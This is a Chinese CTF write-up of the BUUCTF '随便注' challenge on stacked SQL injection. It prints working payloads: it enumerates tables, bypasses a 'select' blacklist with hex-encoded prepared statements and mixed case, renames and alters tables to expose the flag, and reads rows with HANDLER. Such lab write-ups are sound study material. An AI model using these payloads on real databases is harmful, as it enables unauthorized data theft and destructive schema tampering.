了解一下
堆叠注入基础知识及其他题目:
SQL-堆叠注入
终于有时间来填填坑了
Buuctf-随便注
算是堆叠注入中非常经典的题目了。
随便试试就能看到黑名单:
没了select,其实大概率就是堆叠注入
先探测一下:
1';show databases;#
应该就是了。
再看看表:
1';show tables;#
然后查看表的结构先找到flag的位置:
1';desc `1919810931114514`;#
注:在mysql中,数字作为名称都要带上`这个符号来使用,用show columns from `1919810931114514`也行,也是记得加上`
找到
进阶点
这里就是关键,要如何来查看表中内容呢?select肯定是用不了了
方法一:编码处理
编码处理
因为select被过滤了,所以先将select * from `1919810931114514` 进行16进制编码,得到:
73656C656374202A2066726F6D20603139313938313039333131313435313460
本来payload为:
1';set @a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;prepare newsql from @a;execute newsql;#
但是:
还有一个waf,使用大小写混写绕过
1';Set @a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;prepare newsql from @a;execute newsql;#
得到结果:
方法二:巧用已知
在使用堆叠注入查看表之后,除了1919810931114514
还有一个words表,因为show tables一定是在当前数据库工作的,说明一开始查询 1得到的,
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
一定是利用这两个表查询出来的,显然1919810931114514
这个表是不可能的,因为它只有一个字段的,不可能出现两个字段的结果。
1919810931114514
的desc 结果如下:
现在我们就已知,查询的表是words表,输入1就会出现id=1的列,输入2就可以查id=2的列。虽然不能自己查询,但是可以默认查询words表的固定内容,尝试将
1919810931114514
重命名为words,让查询语句默认可以查询到flag
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
现在来解释一下payload,首先把原word改名为words1,把1919810931114514
改名为words,将表中的flag字段修改为id字段,同时将字段的数据类型设置为可变长度字符串,字符集设置为utf8,排序规则设置为utf8_general_ci,并且该字段不能为空。
最后查询一下words表的内容:
1' or 1=1#
方法三:handler读取
handler可以优化mysql 性能,但是它本身也存在一些问题。
参考链接:
Handler参考链接1
Handler参考链接2
它具有查询的功能,可以平替select,用法就像这样
handler t_student open as t;handler t read first;
所以它可以直接查询,构造payload就像这样:
1';handler `1919810931114514` open as p;handler p read first;#